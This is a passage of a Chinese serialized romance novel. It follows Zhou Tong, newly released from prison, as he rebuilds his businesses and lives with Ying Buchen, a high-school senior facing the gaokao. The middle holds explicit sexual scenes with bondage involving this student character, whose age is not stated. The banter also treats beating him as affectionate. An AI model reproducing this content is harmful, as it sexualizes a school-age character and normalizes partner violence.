周瞳提着酒杯问,“你俩咋回事,不恭喜我吗?”
小眼镜哆哆嗦嗦地提起个酒杯,说,“恭,恭喜,恭喜。”
娘娘腔撞了一下应不尘,抿着嘴笑,“你上杆子让瞳哥糟蹋的吧?”
应不尘的脸红成个烂柿子,说,“也...没呀...”
“他啥人我们能不知道吗?”娘娘腔低声说,“他就算有那心思他也不能吱声,肯定你给他逼得不行了。”
应不尘的筷子都不知道夹啥好了,周瞳打了他的背一下,说,“干啥啊,在家耀武扬威的叭叭叭的不是可能耐了吗?咋的呢窝里横啊,起来说两句。”
“我...我哪会...别...别闹...”应不尘说。
“害臊了,”周瞳夹着菜给小眼镜倒酒,说,“好久没聚了,上回一起跟你俩吃饭还是蹲筒子楼吃盒饭呢,时间太快了。”
“风子那事情出了之后,咱就,就没聚过了。”小眼镜端着杯子,轻轻地撞了周瞳的杯脚,说,“我还以为再也见不上了呢。”
“当了几年丧家狗,”周瞳一饮而尽,说,“蹲了号子也算是翻篇了。”
小眼镜看着应不尘,说,“你俩现在好好的,就行了,都好好的,就行了。”说罢闷了酒了。
娘娘腔翘着个兰花指,看着应不尘,说,“我要是有人能为我到这份上,我也跟你一样。”
应不尘颤颤地说,“对不起风叔,要不是我...”
“行了诶。”娘娘腔清清嗓子,翻了个白眼,说,“能不能像个爷们。”
“不好追吧?”娘娘腔似乎对这事儿格外感兴趣,“挨打没?”
“没少挨,我一提就揍我。”应不尘也从刚刚的光景里缓和过来,说,“鼻血都流了好久天。”
“这事儿就是谁比谁硬,”娘娘腔翘着二郎腿一撞一撞的,说,“瞳哥从前咱就说他就是那种惯媳妇的人,现在是不是对你可好了?”
“嗯。”应不尘抿了抿唇,有点儿不好意思起来,“挺好的。”
“他是不是跟原来一样要当你爹呢?”娘娘腔用筷子一点一点的,瞥了一眼周瞳问。
“嗯,”应不尘戳着面前的菜,说,“今年好一点了。”
娘娘腔噗嗤笑了一下,说,“你这小子我是真看不出来,藏的那么深。”
“我那会儿也吓着了。”应不尘说,“吓得我晚上都睡不着。”
“我刚刚进来瞧他看你的眼睛,我就说这不能吧,你小子太有出息了。”娘娘腔说。
那边的周瞳正在跟小眼镜叨叨啥,筷子蘸了点酒,在桌子上划来划去。
“你办的他呀?”娘娘腔又特别期待地问。
应不尘羞红了脸,说,“没...”
“没劲了啊,你要是给他办了,我以后都管你叫叔。”娘娘腔说,“你还是差点儿。”
“我哪儿办的了他,我,我能在边上就不错了,你都不知道他多难弄,就这事跑出去找不着,打我都差点把房子掀了。”应不尘说。
“听你这意思就是想办,没办成。”娘娘腔看着那边还在叽叽喳喳的周瞳,筷子戳在牙边,说,“我记得他从前是不是喜欢姑娘来着?我一挨着他他就叫我走走走的。”
“他以前的事情他不说我没地方知道。”应不尘说,“就是出去喝酒打牌。”
“跟风子一起呢,”娘娘腔捧着脸说,“要是乱来我早知道了。”
“风子叔出事之后我就再也没见过你了。”应不尘问,“腔叔,你这几年好不好?”
“就那样吧。”娘娘腔擦擦嘴角,说,“都一样。”
“我给你讲笑话吧?”娘娘腔说,“咱从前的笑话。”
“那会儿,我还没你大的时候,大家都是村里屯里来的,我跟风子就是隔壁村,我那会儿个头不大,又不太会吃苦,干的活儿我自己都吃不饱,我就干啥呢,”娘娘腔点了根烟,说,“我偷偷弄了一套保安队的那衣服帽子,我就给穿上了,我晚上就去抓那捉泥鳅的。风子那会儿年纪也小,他就捉这个卖,在地头被我抓住了,我说要没收,要罚款,但是我那会儿胆子也小,他刚刚蹲那我没看出来那么大一个个子呢,我就说要没收他的泥鳅。”
娘娘笑着垂头,支着胳膊夹着烟,看着应不尘说,“他看了看我,他也不吭气,就给我了。这事儿太痛快了,哪有比这钱来的顺当的?我就接着过了几天家里揭不开锅了我又去了,我拿泥鳅换米,我又给风子抓了。”
“我都不晓得抓了他几次,五次吧可能更多,那会儿,那会儿天冷啊,他脚就陷在泥地里,衣服也都打湿了,好地方的都叫抓完了,他去的都是那种一脚下去都不知道深浅的地方,我觉得我自己挺不是个人,我就走了,结果风子把我叫住了,分了我半框,有七八条吧,大泥鳅,我就讲实话了我说我不是保卫队的。”
“他说他知道,他就是保卫队的,从来也没见过我。”娘娘腔看着天花板上的灯,“我说那你咋一趟一趟的,白给我呢
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“风子说我身上有中药味儿,家里头应该有人病了没法子才来,他说每个礼拜都分我半框,后来保卫队没了,他种了菜也叫我拿,我磕碜死了啥也没给他,后来我老娘没了,我没钱下葬呢,心思把门板子拆了算了,风子他们给我抬出去的,给我老娘抬山上去,后来风子就跟我说要出去了,打工去了,我就跟着他,我就一直跟着他,他叫我干啥我就干啥,他叫我死去我也去死。”娘娘腔用手指头捻着烟,说,“我蠢,又笨,又不会吃苦,攒不下来啥钱,帮不上风子老娘,我也打听了,就你还在给风子老娘送钱,老板娘也会讲,我知道风子姑娘病了,我扇我自己好几个巴掌,我说我卖去吧,我给她整明白的,这会儿瞳哥出来了,给姑娘接走治病了,我那时候想,为啥瞳哥就啥时候都能有出息啊?我咋就不能呢?”
娘娘腔说了好多,“我那会儿烦他的很,那风子一讲起他都说他喝酒啊厚着脸皮去拉生意啊,我们这些人不能闹脾气,要正规,正规才有活路,人家大车司机都吃得地上都是,咱咋就要这么磕碜,这么苦拉吧唧的学会开大车,没日没夜的说好日子就要来了,完了还是这德行。但是风子说了,我服也得服,不服我也得服,但是架不住瞳哥对我也好,”娘娘腔仰在凳子上,“你晓得,你给瞳哥吃了,我心里啥滋味吗?”
他自言自语的说,“我来不及,你来得及。”
周瞳不知道跟小眼镜招呼着说了啥,他喝多了就背着手过来在桌子底下捏着应不尘的手,盖着桌布呢,看不着。
娘娘腔估计是醉了,小眼镜扶着说明天还一堆事儿呢,就先带着人回去了。
周瞳绯红着脸,垂着头坐在那。
看见应不尘送完人了,拍拍自己的膝盖,说,“把门关上,过来。”
“嗯...”周瞳抱着应不尘,要他面对面的坐在腿上,拍着他的背,脑袋搁在他肩膀上,“累不。”
“不累。”应不尘摸着他的头发,往后面捋,“你喝得有点儿多。”
“还成。”周瞳说,“我抱抱你。”
应不尘啄着他的额头,说,“我今天没有板车拉你回去。”
他整个人沉沉的挂在应不尘身上,窗帘被风撩开一角,楼下的街道霓虹灯扑闪扑闪,人们沉醉于元宵佳节后最后的年味,还有半个月就要到这年的三月份,三月到了,春就到了。
“哥在里面每天心里都挂着你。”周瞳闭着眼睛,在他肩膀上说话,“我又想你把我忘了,我又想你千万别把我忘了。”
“我不忘。”应不尘轻轻地抱着他。
“你跟我说那事儿,”周瞳迷迷糊糊说,“看你那么哭,我几次都想答应。”
应不尘抱紧了他。
“我想你。”周瞳说,“那几年我一直都想你。想得觉得我自己都坏了,那地方像个发酵的酸菜罐子,进去人就坏了。”
“可是我不能。”周瞳沉沉地叹了口气,脸在应不尘的肩膀上实在太烫了。
“我想带你跑。”周瞳迷迷糊糊的睁开眼睛,仰着脖子看着应不尘,“你咋这么好看呢,宝贝儿。”
应不尘低头吻他,他背着周瞳消失在街角,脖子挂着一个买酒的包装袋,里面装着周瞳的手表,手机,皮鞋。他兜里掉出来半截的明黄色领带,男人的手踝在他眼前有节奏的晃,背上的人喝了太多酒。
应不尘蹲在沙发上弄醒酒汤,打包了一份粥回来想他醒了让他喝一点。
旁边的周瞳在沙发上已经睡着了。
应不尘想给他喂点儿醒酒的,想尝尝烫不烫,舌尖才探到,就听见:“我让你喝了吗?”
“没。”应不尘舔了下唇角,黑夜里看不清他的眼睛。
“进去了,偷吃东西,你知道要怎么罚吗?”周瞳贴在他耳边问。
“我会被罚吗?”应不尘被他一拉抱在怀里,但是中间空了一块儿,像是在审问年幼的罪犯。
“可以贿赂。”周瞳红着脸拉着他的手,脸上却是半醉不醒的,略带威严的,“你会吗?”
“我拿什么贿赂你?”应不尘问。
周瞳眯着眼就支着下巴打量他,“你的话。”
“好像也没什么别的能贿赂了。”
“我不懂。”应不尘扶在他的小腹,下巴磕在皮带上,仰望着他,说一个字都有微妙的气息。
“我看没人比你懂。”周瞳闭着眼睛往下沉,衬衫被他扯得乱七八糟,露出一道小麦色胸膛。
意料之中的解皮带的时候邦地一下敲在脸上。
周瞳酒醉得不清醒,他感觉好像被丢进了海里,有人打捞他上岸,他在溺亡的时候抓到了救命的稻草,他挺直了背,是什么在无休无止地吮吸,把他的脑干都要吸空了。
他在脑海中呈现一片虚无的云彩,像是面粉掺了太多水之后黏腻的,丝滑的手感,手指穿过松软的发,遂紧紧抓住,青筋毕露的时候被人引着探入舌尖,电工笔上能看见的微弱电流冲至颅顶,周瞳沙哑又干燥的懒洋洋的声音,嗯了声酒气儿的鼻音,他大开着双腿,指尖点着自己的额角,在黑夜里凝视被惩罚的小贼。
应不尘舔了口唇角,在乌木快要窜出云层的时候扬长而去。
“嗯...应不尘啊,”周瞳瘫在沙发上,说,“下次我得拿根链子给你锁起来是吗?”
“你说的那是下次的事儿。”应不尘说,“今天找我乐子找得是不是有点舒服了?”
“这么记仇呢?”周瞳压着笑问。
“就这么记仇,”应不尘扭头说,“我得做试卷了,早点休息瞳哥。”
“你确定吗应不尘?”周瞳懒洋洋的问。
关门声代替了回答。
周瞳在黑暗里抽了半根烟,拎着根皮带就进去了。
手被束缚在床头,“我也想写试卷,”周瞳酒没醒,他眼皮都懒得抬起来,他从桌子上胡乱的择笔,笔触划过应不尘的耳垂,脖颈继续往下,“我写什么字儿呢。”
周瞳掐着他的腮帮,问,“写什么?语文?数学?英语,英语的骚货是怎么写的?你教教我。”
那支他上课时候握着的笔被他的手指推入,颤栗的红点有未干的墨水,白皙的皮肤被乱涂乱画,留下让人羞耻的字符。
周瞳跨坐着,似满意自己的狂草作品,“这支,圈重点知识的吧?”
周瞳握着那支水性笔,又开始在自己的作品上署名。
笔尖太凉了,也太水了,划过的每一下都让应不尘的后脖颈都肆无忌惮的仰长,“重点。”周瞳漫不经心的画圈,“哪些是重点呢?”
笔触还在蔓延,“烧房子这么好烧是吗?这么愿意烧房子...”周瞳似有若无的在他重点区域戳点推缠,“错没错呢?”
水性笔尖似乎是戳着重点儿的眼位,他低声的求饶,像条狗一样匍匐在脚边。
70.阿莫西林
第二天一早,这天都没那么冷了,应不尘穿了件高领的毛衣,周瞳酒醒了,看着他疑惑,“你不热吗?”
应不尘狠狠的挖了他一眼,他脖子上全是印记,搓了半天都搓不掉,手腕上都是皮带勒着剩下的红印。
习惯用的笔现在也办法直视了,周瞳光着上身,捡起了地上的笔,扯了件衣服,擦了擦,递给他,说,“就用这支。”
应不尘的脸红得不行,说,“我还有别的,别的笔呢。”
“就用这支。”周瞳又重复了一次。
应不尘闭着眼睛接笔,真的服了。
因为小眼镜的帮忙周瞳的店很快就有了雏形,应不尘今天周末,跟着去一新桥,周瞳的衣服基本都是应不尘之前给他买的,今天穿了个有点儿喇叭的牛仔裤,他这人穿裤子事儿可太多了,腰太高的他说又不是臭娘们,要是腰低了他又说露屁股蛋,修身的他说勒蛋呢,松垮的他又说给他腿都穿短了。
十条里面能找出来一条他满意的裤子还差不多。
倒是这条皮带他还挺喜欢,素扣,不粗不细的,懒懒抵在他的胯骨上。有时候他掀衣服擦汗,就能看见结实的小腹跟色情的腰窝。
“来啦。”小眼镜早就过来了,一早上跟娘娘腔吵个没完,就娘娘腔说的那种桌子,镜子,还要灯的,小眼镜见都没见过。但是娘娘腔就说这一块儿就归他管,他回头就要找姐妹来消费,现在扭着胯都已经走了。
“啊。”周瞳来了就把夹克衫往应不尘头上一扔,拿了个折叠椅就让他坐在干净的地方看书。
木工打柜子,按着图纸剪裁三合板,次啦啦的噪音灰尘,这地儿都没个消停的地方。
“你让小尘来干啥,他就在家看书呗。”小眼镜蹲在地上,修补不平整的水泥,一会儿还要刷墙面。
“粘死人了。不让跟要他命。”周瞳说,“昨天说的那个上墙镜今天会送过来吧?”
“那这地方也不是读书的地方啊。”小眼镜说,“能送来,我早上才打过电话。”
“那玻璃门上的字拿过来没。”周瞳在堆成小山的纸板箱子里找。
“错了个字,叫拿回去做了,明天来装门头。”小眼镜说着话,手上的活儿一点不耽误。
“这门头我前段踩梯子上去踩了,钢架还能用,别让那个广告公司狗了咱的钱。”周瞳说。
“我说你咋一出来又整那么多地方的买卖,你一天不睡觉啊?”小眼镜问,“我之前认识个进去过得,出来就没法子了,就是吃喝嫖赌,说没办法,就这样了,你咋那么能呢。”
“没人拉他一把。”周瞳把钢架子抬过来,“我出来的时候小尘都给我打算完了,不然我也完蛋。”
“那小尘不是也还小吗?”小眼镜推了推全是灰的眼镜,问,“读书还能把钱攒了啊?”
“人家跟你似的呀。”娘娘腔来了,他整个人走路都是一股子娘们味的,偏偏还是个尖嗓子,“我跟你说那个桌子柜子,要玻璃的,你打没呀?”
“我这儿的活儿都干不完!我一会儿还要去二中那块的!”小眼镜说,“你倒是干啊,人家小尘是要读书的,瞳哥茶都没喝一口就带手套干活了,你在干啥呀,擦口红!”
周瞳跑了,跑到应不尘边上去,捣鼓柜子上的开合页。
“咋又吵架啦?”应不尘问。
“以前也这样。”周瞳带着个脏兮兮的手套,蹲在地上往上拧螺丝,“那会儿跑车那会儿,那天天吵天天吵,娘娘腔骂小眼镜没脑子,小眼镜骂娘娘腔没力气。”
“我看半斤八两。”周瞳说,“但是我跟你说,你可能记不得了,那会儿我不是拉了个自来水厂的活儿么,最后风子带着他们去偷油,三人商量谁进去,小眼镜跟娘娘腔俩就自己定了,说风子还在外面跟着我,他俩进去一个。”
“他俩就石头剪刀布。”周瞳说,“娘娘腔还输了。”
“眼镜叔得被腔叔耍的团团转吧。”应不尘坐在凳子上看他俩又为了什么桌子咋摆吵起来了。
“他俩吵不散。”周瞳说,“你在这无聊不无聊?无聊了我送你回去好好看书,跟着我出来这全是沙子灰尘都是人的,你看一眼就走呗。”
“后备箱给你放了水跟烟,”应不尘说,“还有些钱,你应付着用。”
“我有呢,那游戏厅每天都是现钱,你那个佟老师那找得人画墙也结了钱的。”周瞳说,“大概四五天这里就好开业了,货都是赊一半的钱,剩下的边卖边给,现在都这样。”
“小风筝好了就过去了。”应不尘抬头去看周瞳,看见他压了个帽子,穿了个修饰身材的羊毛衫,正拎着个锤子砸剩下的半堵墙。应不尘惊奇的发现他扎了个小辫儿,一锤子下去灰尘四溢,与从前那个隐匿在尘烟里的塑像逐渐吻合。
那次周瞳从烟尘里走来,说,“这么大烟看不着?赶紧出去。”
这次的周瞳跑过来笑盈盈地拉着他,“宝贝儿太烟了,你赶紧跑呀。”
娘娘腔惊叫了一声,嗔怒啊了一声踩了一脚,说,“脏死了!”
应不尘叫了一声腔叔,娘娘腔说,“你以后不要文化人木脑子,就跟这个傻子一样的!”
“弟可别像你就行了,啥也不会干,这个重那个脏的,”小眼镜身上都是灰,连镜片都让木屑遮住了,“谁跟你似的,死娘娘腔。”
“你说啥!”
“我就说你!”
...
周瞳趴在床上算账,发票在书页里乱七八糟的夹成一堆。
应不尘沙沙地写着试卷,偶尔回头看他,他总是一算账就开始唉声叹气。
是美好的夜。
周瞳老往二中那边跑,二中的成绩其实比四中要好很多,教学质量也是,周瞳也想过要要不要让应不尘转学去一中,但是他不愿意,说离家太远了。
二中最方便的是边上还有卫校跟中专,这里的店面收拾得很快,之前也是卖女装的,倒闭了让周瞳盘了下来,小眼镜拿着卷尺过来量了一圈,当即就开始敲柜子了。
他俩还是跟原来一样,钱也不要,说等店开了再结,这个委实让周瞳松了口气,应不尘弄过来的东西解了燃眉之急,不然就他们那点钱怎么都不够连着干。
二中门口的女生饰品店杂糅了一大堆的东西,都是周瞳选的,把东西都一小格子一小格子的印在彩色的单子上,让别的学校的学生要买啥一个班都能买上,送过去就行。
二中门口的饰品店刚开门学生就都涌进来了。
虽然成交量不大吧,但是这的成本也小。
摸一摸学生买卖的胃口,看看怎么调整。
珊珊看见了周瞳,笑着跟他打招呼,“哥!”
“呀,这不是我们珊珊吗?”周瞳踩了烟,说,“小尘都还没放学,你咋出来了?”
“我今天我妈给我请假了,”珊珊说,“哥这是你开的吗?”
“嗯呢,”周瞳说,“你随便选,哥送你。”
“这怎么好意思。”珊珊说,“我听同学说你还弄了画室,看见我们学校的佟老师跟你在一块儿呢,电影院那边不是还有游戏厅吗?”
“都瞎胡闹,”周瞳说,“你先选了,选完哥还得你帮忙呢。”
珊珊挑了几个发夹,还有手链,说,“什么事儿呀?”
“你有手机不?存个我号码,你们学校流行啥了,你就跟我说,我就去进货,行不?我家应不尘也没个关系好漂亮时髦的女生朋友,问也没地方问,正愁呢。”周瞳写了个号码给珊珊。
“哥,你跟应不尘的性格差好多啊,他都不爱跟我们女生说话的。”珊珊又佩戴了几根链子,“他也不打篮球,运动会也不参加。”
“这小子咋这么没有集体荣誉感,”周瞳说,“小时候那没戴红领巾,班级扣分了回来都得哭呢。”
“你们小时候就认识了?”珊珊问。
“嗯呢,小时候就认识。”周瞳拿了个粉色的袋子都给珊珊看过的装起来,说,“你回去你自己戴或者送给同学,有啥流行的你跟哥说,行不,然后应不尘在学校有什么事儿,你也跟我说,行吗?”
珊珊微微皱眉,看了看周瞳,小声的问,“哥,你真的在跟应不尘谈恋爱呀?”
“这东西,”周瞳嘿嘿笑,说,“这东西咋跟你说呢。”
珊珊说,“那哥你也别总打他了,有事儿就好好说嘛,我看你也是讲道理的人。”
“...”逼崽子,周瞳还心思呢,怎么应不尘那个小同桌看见自己就跑呢。
“败坏我名声了这小子。”周瞳说,“瞎说八道的呢他。”
现在应不尘午饭晚饭都在学校吃,周瞳也忙,省的来回跑,一新桥的店子开门了,那娘娘腔在里面选了好些化妆品,弄得亮堂堂的,周瞳一进去就觉得刺眼。但是娘娘腔好像天生都能跟女人攀上做姐妹。
“不行,”娘娘腔坐在化妆椅子上,夹着嗓子兰花指点着对面的顾客,说,“我不允许你画着这个口红走来走去,像一个行走的狐狸精。”
顾客被他逗得咯咯笑,他在这搞了什么充值卡,就是先把钱存在这里,然后买东西可以打折,他还招了个小姑娘来画指甲,就辟了个位置在里面。
“忙着呢。”周瞳大喇喇得躺在沙发上,每天跑一圈真的要累死了,晚上还要回来盘货。
“瞳哥,你别给我工资了。”娘娘腔对着镜子描眉毛,说。“等你钱宽裕一点儿,你弄那美容的,我的工资算股份。这里的婆娘拆迁了的有钱是有钱,天天就晓得打麻将,她们应该把钱花在美容上。”
“成。”周瞳蹲在地上盘货,说,“等钱往回回吧,我这本来明天要去省城看风筝,小眼镜已经去陪了,也省的我跑了。”
“他开那个货车哪儿来的。”娘娘腔又眯着眼睛给自己画睫毛。
“租的,”周瞳说,“我就这一个车,还是小尘送的。”
“要死!”娘娘的睫毛都画歪了,转过来看周瞳,说,“他送你小车啊?”
“嗯呢,”周瞳说,“我出来车房钱都齐活了,就那样,我还躺在家里给他找事儿呢。”
“我吧,之前风子的事有点置气小尘,这是实话。”娘娘腔说,“那眼看着日子都越来越好了,搞这档子事情出来,但是后来想通了,小尘估计更难受。”
“他都难受毁了,那会儿巴不得去死了。”周瞳说,“就盯着我问我,咋没烧死他,我一听那话我鸡皮疙瘩都起来了。我这眼睛不是坏了么,也给他难受疯了,整个人都不太好,跟个鹌鹑似的,活着的人更难受呢。”
“都过去了。”娘娘腔今天穿了丝袜,不伦不类的,一会儿他还要去隔壁跟姐妹们唱歌,“那他读完书咋整。”
“他去哪儿我去哪儿呗,”周瞳盘着账,里外里往着算了算,这店就算这形势,还得小半年才能回环回来。
“这买卖来钱还没游戏机快。”周瞳嘀咕了一句,“风筝那头钱叫小眼镜送过去,还得打算下一轮的。”
“急啥。”娘娘腔最后抹上口红,用手指点了点嘴唇,说,“老娘晚上就开喝。”
“你以前不是不喝酒吗?最烦去那场子了。”周瞳问。
“那能一样吗
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,”娘娘腔甩着个跨就走了,“那是风子的姑娘,我就让你一个人忙活?”
周瞳来接应不尘放学,他好像叫试卷摧残坏了,一脸的丧眉耷脸。
周瞳从怀里掏出来一个大玉米塞给他。
“今天你佟老师在村子里画,人家老头用土灶煨的,跟你汪爷那种一个味儿,我等着这玉米呢,刚到手我就紧赶慢赶过来了。”周瞳说,“快尝尝。”
应不尘握着这个玉米闭着了会儿眼睛,再睁开的时候挨在周瞳身上说,“我看见你真的啥毛病都没了。”
“我是阿莫西林啊,还能治毛病了,”周瞳说,“你就是累的。”
“我今天都走完一圈了,接着你就回去,不叫你跑了,”周瞳说,“这春天咋还不来,你写字那手都冷。”
“这天中午热,两头都冷,你干活儿别老扔外套,你穿着点儿,别感冒了。”应不尘说,“不然都转不开。”
“你一说这个我就头痛,我上哪儿揽的那么多破事,我跟你说,那画室东西我挪边上了。我心思租都租了,那地方也不能叫空着,我今天刚去一个倒了的厂子的电脑,连他们沙发一块儿,我修好了摆那画室里头去,让小孩儿上网。从前那个排骨,小眼镜叫他了,他过两天来给我看这个。”周瞳说,“我一天,跑五个地儿。”
“都能来钱了,小风筝那不就有指望了吗?”应不尘说,“所以你更不能生病了,知道不。”
“知道。”周瞳说,“但是忙起来也不会瞎想,挺好。”
周瞳踩了油门,往家的方向走。
“连城璧死了吗?”应不尘推开门的时候问。
“谁知道他了,”周瞳咕嘟咕嘟的喝水,“我哪有功夫管他呀。”
“你喝什么冷水呀,”应不尘说,“你保温杯倒热水喝,回头又整得肚子不舒服。”
“你在学校吃啥了?”周瞳说,“你们高三的菜有没有好一点儿,要是菜不好,我找饭店给你炒,给你拿过去。”
“你别忙啦,”应不尘说,“我就吃食堂,你吃的啥呀?”
“早上跟你一块儿吃的,中午吃的盒饭,晚上跟娘娘腔吃的快餐。”周瞳说,“一新桥你还不知道,都是吃的,你要是饿你就给我提前发个消息,我带上夜宵接你去。”
周瞳把脏衣服都扔洗衣机里,说,“你这没多久就要考试了,可别给我洗衣服了。”
“这些我自己刷就行了。”周瞳说,“对了,小眼镜到省城给我来电话,说那小风筝还找咱两呢,本来说了我去,小眼镜去了,还不高兴了。”
“她妈有消息吗?”应不尘换了睡衣问。
“没,”周瞳说,“我看着费劲,咱治好了她娘家人可能觉得带着个病孩子更要毁了她妈。”
应不尘对着镜子洗脸,说,“其实我知道,你就是为了能在这里陪我读书,不然你应该会在省城,他们也都在省城,这些店就更稳,我一开始也想劝你在省城,我劝不出口,我怕你真在那。”
周瞳说,“我不愿意你换地方,你就在这安安心心读书,换了地方你还不适应,还耽误事儿,而且省城的钱哪儿有这儿的钱好挣,反正每周都去,一块儿拉货回来倒手,挺好。”
“快点儿高考吧。”应不尘说,“这日子真是太长了。”
“你急啥呀,”周瞳说,“这么多年你差这四个月去了呀。”
“帮不上你我就闹心。”应不尘擦干了脸,周瞳从后面拢住了他,用下巴蹭了蹭他的发顶,说,“我听说,那事儿办多了就长不高,都精华,你这一年都没长个子,是不是因为这个啊?”
应不尘都不知道这个人为啥就能好端端地从正事儿扯到歪事上去,说,“我,我我不知道。”
周瞳说,“你这好赖你得一米八吧,现在能到一七五了吗?我瞅着就一七三。”
“咱俩差了十来公分,”周瞳说,“给那事儿禁一禁,长长个子。”
“嫌我矮了?”应不尘转过来问。
“我嫌你干啥呀,你一五八不也是我的娃吗。”周瞳说,“我小时候看你那瘦胳膊瘦腿的,我还以为你能跟我一头高呢。”
“你喜欢跟你一样高的?”应不尘问。
“我为你好,你想啥呢,”周瞳打了他脑袋一下,说,“要么读书去,要么睡觉去。”
周瞳往厨房走,说,“人家都喝这什么智慧一号,说喝了长脑子,我也给你买了。”
“我以后就卖保健品。”应不尘说,“你这么鸡贼的人咋每次就人家跟你说喝了能长高,什么喝了能聪明你就往家里买呢?”
“那人家不是给我看画册了吗,就写着专家都认证了的,就是能提高十来分。”周瞳说,“快快快你喝。”
“我看看啊,”周瞳对着灯看,“维生素c是吧,木糖醇,三氯蔗糖,你看看这个厉害,脑磷脂,这个一听就好。”
“这个多吃大豆海鲜猪脑就有,”应不尘说。
“这个,深海动物提取,”周瞳说,“应该是这玩意儿贵。他边上可写了,脑黄金。”
“他能一大盆子放一勺我都佩服他。”应不尘说。
“你事儿咋这么多呢,人家小孩儿都吃。”周瞳说,“人家老师的孩子都吃。”
“行行行,你别给我毒傻了就行。”应不尘说,“那你跟我干杯。”
“我喝这个干啥呀,”周瞳说,“我喝了我高考去啊?”
“那你跟我干杯,我自己我可不喝。”应不尘说。
“行行行,”周瞳开了两支,说,“干杯干杯,赶紧喝吧。”
***
71.我又不会
“瞳哥,咱今年高考没到7月份,可能6月就得考了。”应不尘坐在床上,手上转着支笔。
“比往年少一个月啊?”周瞳问,“那你不是少一个月复习了吗?”
“也挺好,我巴不得赶紧考赶紧散。”应不尘说,“放假就帮着家里的几个叔做事情,要是生意实在好的话就在这儿弄着,我每周回来就行了。”
“看你们学校吧,你们学校压力大你就好好在学校,周六日没课我接你去,你现在成绩稳定吗?”周瞳问。
“还成吧模拟一考500多分,但是我感觉试卷难度偏大了,高考应该不会这么难,按照一考的成绩估分,一本线应该就不到480,我们班好几个数学都才60多。”应不尘说,“二模还没考,难度应该蹭着高考来的。”
“嘿嘿。”周瞳笑。
“你乐啥呀?”应不尘问。
“我想着,啥叫鸡窝飞金凤凰呢。”周瞳说,“原来这点儿在这呢,哎呀,我真是,我真想看着你去念大学,以后带个那种金丝小眼镜是吧,看着衣冠禽兽那样的,”周瞳说,“一跨过去就很快了。”
应不尘躺在周瞳的腿上看书,这些洋文周瞳都看不懂。
“这写的啥。”周瞳问。
“完形填空,就是让选最合适的词放进去。”应不尘说,“你看不懂这个,我拿个语文卷子给你看,他后面有那啥,阅读理解,跟讲故事似的,你乐意看。”
周瞳拿了张语文试卷,在边上看,本来躺着看,然后坐起来看,憋着终于等应不尘写完自己的试卷了,问,“你能帮我看看吗?”
“啥?”应不尘蹭过来。
“这个人叫六子,捞了个草鱼,他妈眼睛放光,他妈弄个豆腐烧这个鱼,然后他说这个鱼汤这么好吃,然后他去喂猪,又找到了这个鱼,原来这个鱼没烧进去,最后这个鱼的眼睛有诡异的光?”周瞳翻来翻去翻了好几次,说,“他问我,这个光是啥?”
“是啥?”周瞳问,“他叫我阅读理解,我咋理解?我不理解。”
应不尘重新看了一下,有点别扭,说,“我觉得,这个不理解也行。”
“除了这个光,那其他的倒是还好,”应不尘说,“他就是表达食物跟家庭,跟过去现在的一个关系吧,语文考试就这样,就是经常就得过度解读才行。”
“哦,”周瞳说,“这儿还有作文呢。”
“作文我们现在就老师布置了就写,这种试卷做题就行了。”应不尘说,“你写个作文给我看看。”
“我以前看过你写字,在汪奶办公室,你写字好看。”应不尘给他一根笔,一个坐在床上,一个蹲在凳子上,二人就着一盏台灯,沙沙的写字声。
“瞳哥,你写啥呢?”应不尘凑过来问。
“给你写情书啊。”周瞳笑着遮住了,说,“但是你这个得你高考完了看,行不。我写完了一会儿给他锁起来。”
“行。”应不尘把脑袋搁在他手背上,笑眯眯的看着他说,“我高考完了第一件事我回来看你写给我的情书。”
周瞳挑眉,叼了根烟,刚想点上又回神了,“不给这儿抽,呛着你,我给你好好写。”
周瞳脑子里就那么几个词儿,写了半天又划了,磕磕巴巴的,写好了藏在抽屉里,嘿嘿一笑,摸摸他脑袋出去抽烟了。
周瞳现在作息可太健康了,早上六点多都得摸黑呢,就提前把楼下早饭去买上,让他在路上吃。
“你也吃一口。”应不尘掰了个茶叶蛋塞周瞳嘴里,又给弄上管子喝豆浆。
“你吃吃吃。”周瞳说,“一早上呢。”
然后听应不尘口型在那念洋文,念不会了还打他的脑子,“诶诶诶,咋读书还读急眼了呢。”然后在要下车的时候短暂地接个吻。
应不尘去学校一路三回头,还得等他进去了才能打条回去,接着就是看一新桥昨晚卖了多少钱,开门把地都扫了拖了,娘娘腔时常都跟那帮女人混在一起,推销他那些批发来的化妆品,晚上还去打麻将,等他过来都得九点多了。
等娘娘腔到了他还得赶到电影院那头去开门,小厉也是够累的,有些大哥一玩就玩个通宵小厉也只能陪着。
要佟老师打电话来叫送东西跟梯子架子的他还得跑农贸那边买油漆颜料,什么赭石朱草的他看着就一个色儿,本来眼睛也不好。
接着赶在中午去开二中那个店,中午有学生,慌忙地扒拉上一口饭,下午还得把那小网吧弄明白。
所有事儿毕了,天都黑了,小眼镜干活是麻利,做生意笨得要死,最多就能跟这小厉弄弄机子,开货车给佟老师送送东西。
“我看你这么转,能吃的消?”周瞳跟小眼镜娘娘腔三人在一新桥的女孩儿箱包饰品店里,要是他们坐门口吃有些女孩儿不好意思进,他仨就在厕所边上那小桌子上吃。
“明天礼拜一,我得去省城,上次你去拉货有些不对版,我还得去跟他们要说法呢。”周瞳对小眼镜说,“完了去看看风筝,给存点钱。”
“弟呢?”小眼镜问。
“住校,住一天,他学校的被子啥的用的东西我都给他收拾好的,能住。”周瞳说。“就是他跟小时候似的,要人陪着,自己个儿就不太乐意。”
“那你进去那多年的,他怕也正常。”小眼镜说。“没爹没妈的,就你一个,你进去了他得多难受,我那会儿想跟老板娘去探视你,你都没见。”
周瞳胡乱扒拉着饭,说,“我谁也没见,磕碜死了,见啥呀。”
“那你们咋联系上的。”娘娘腔问,他现在还喝酒了,给小眼镜也倒了一点,周瞳要开车,没给他倒。
“他每个礼拜都新春上宜华去,我蹲了四年,他在外头蹲了四年。”周瞳说。
小眼镜细细的眼睛都睁开了,虽然还是不大。“他就这么等你啊?”
“那你合计呢,”周瞳说,“这他娘的谁顶得住。”
“小尘不是说你跑了。”娘娘腔说,“那你自己回来找他的啊?”
“我能找他么,我找他干啥。”周瞳说,“这狗娘养的报警给我抓了,说我要危害社会,他是我家属,说我没钱要惹祸。”
“哈哈哈。”娘娘腔说,“他咋那么损。”
“谁说不是,他就搁警察后头,我真是,”周瞳说。“他治我一治一个准。”
“但是弟有出息啊,”小眼镜说,“他们最近考试了是不?”
“嗯呢,一模。”周瞳说,“考的好像不太好。”
“那二中那些学生考完了出来,我说咱开始做生意呢,结果那些小姑娘哇啦哇啦哭。”小眼镜问,“弟考咋样?”
